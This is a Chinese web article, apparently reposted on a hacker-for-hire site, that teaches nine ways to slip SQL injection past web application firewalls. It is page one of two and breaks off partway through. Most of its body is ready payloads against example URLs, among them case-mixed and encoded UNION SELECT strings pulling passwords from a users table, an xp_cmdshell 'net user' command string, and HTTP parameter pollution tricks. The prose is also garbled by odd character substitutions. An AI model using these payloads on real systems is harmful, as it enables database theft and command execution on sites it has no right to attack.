SQL注入检测技能 | 9种绕过Web应用程序防火墙的方法

Web运用程序防火墙(WAF)的首要作用是过滤,监控和阻挠各类进出Web运用程序的HTTP流量。WAF差异于惯例防火墙,由于WAF能够过滤特定Web运用程序的内容,而惯例防火墙充任的则是服务器之间的安全...

Web运用程序防火墙(WAF)的首要作用是过滤,监控和阻挠各类进出Web运用程序的HTTP流量。WAF差异于惯例防火墙,由于WAF能够过滤特定Web运用程序的内容,而惯例防火墙充任的则是服务器之间的安全门。经过查看HTTP流量,它能够避免源自Web运用安全漏洞的进犯,如SQL注入,XSS,文件包括和安全装备过错。
WAF是怎么作业的?
协议反常检测:回绝不符合HTTP规范的恳求
增强的输入验证:署理和服务器端验证,而不仅仅是客户端验证
白名单和黑名单
根据规矩和根据反常的维护:根据规矩的更依靠黑名单机制,根据反常则更灵敏
状况办理:重视会话维护还有:Cookie维护,反侵略躲避技能,呼应监控和信息发表维护。
怎么绕过WAF?
1.当咱们在方针URL进行SQL注入测验时,能够经过修正注入语句中字母的巨细写来触发WAF维护状况。假如WAF运用区别巨细写的黑名单,则更改巨细写或许会帮咱们成功绕过WAF的过滤。
http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
2.关键字替换(在关键字中心可刺进将会被WAF过滤的字符) – 例如SELECT可刺进变成SEL
http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
3.编码
+ URL encode
page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
+Hex encode
target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
 
   SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
+Unicode encode
?id=10%D6‘%20AND%201=2%23  
 
   SELECT 'Ä'='A'; #1
4.运用注释
在进犯字符串中刺进注释。例如,/*!SELECT*/ 这样WAF或许就会疏忽该字符串,但它仍会被传递给方针运用程序并交由mysql数据库处理。
index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4   
 
   'union%a0select pass from users#
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
 
   ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
5.某些函数或指令,由于WAF的过滤机制导致咱们无法运用。那么,咱们也能够尝试用一些等价函数来代替它们。
hex()、bin() ==> ascii()
 
sleep() ==>benchmark()
 
concat_ws()==>group_concat()
 substr((select 'password'),1,1) = 0x70
 
   strcmp(left('password',1), 0x69) = 1
 
     strcmp(left('password',1), 0x70) = 0
 
   strcmp(left('password',1), 0x71) = -1
mid()、substr() ==> substring()
 
@@user ==> user()
 
@@datadir ==> datadir()
6.运用特别符号
这儿我把非字母数字的字符都规在了特别符号一类,特别符号有特别的意义和用法。
+ ` symbol: select `version()`;
+ +- :select+id-1+1.from users;
+ @:select@^1.from users;
+Mysql function() as xxx
+`、~、!、@、%、()、[]、.、-、+ 、|、%00
示例
‘se’+’lec’+’t’
 
      %S%E%L%E%C%T 1
 
      1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
' or --+2=- -!!!'2
 
     id=1+(UnI)(oN)+(SeL)(EcT)
7.HTTP参数操控
经过供给多个参数=相同称号的值集来混杂WAF。例如 http://example.com?id=1&?id=’ or ‘1’=’1′ — ‘在某些状况下(例如运用Apache/PHP),运用程序将仅解析最终(第二个) id= 而WAF只解析第一个。在运用程序看来这似乎是一个合法的恳求,因而运用程序会接纳并处理这些歹意输入。现在,大多数的WAF都不会遭到HTTP参数污染(HPP)的影响,但仍然值得一试。
+ HPP(HTTP Parameter Polution))
/?id=1;select+1,2,3+from+users+where+id=1—
 
   /?id=1;select+1&id=2,3+from+users+where+id=1—
 
   /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP又称做重复参数污染,最简略的便是?uid=1&uid=2&uid=3,关于这种状况,不同的Web服务器处理方式如下:

+HPF (HTTP Parameter Fragment)
这种办法是HTTP切割注入,同CRLF有相似之处(运用操控字符%0a、%0d等履行换行)
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
 
  select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
+HPC (HTTP Parameter Contamination)
RFC2396界说了以下字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | ^ [ ] `
不同的Web服务器处理处理结构得特别恳求时有不同的逻辑:

[1] [2]  黑客接单网

  • 发表于 2021-04-08 11:46
  • 阅读 ( 167 )
  • 分类:互联网

0 条评论

请先 登录 后评论
小虎牙
小虎牙

709 篇文章

你可能感兴趣的文章

相关问题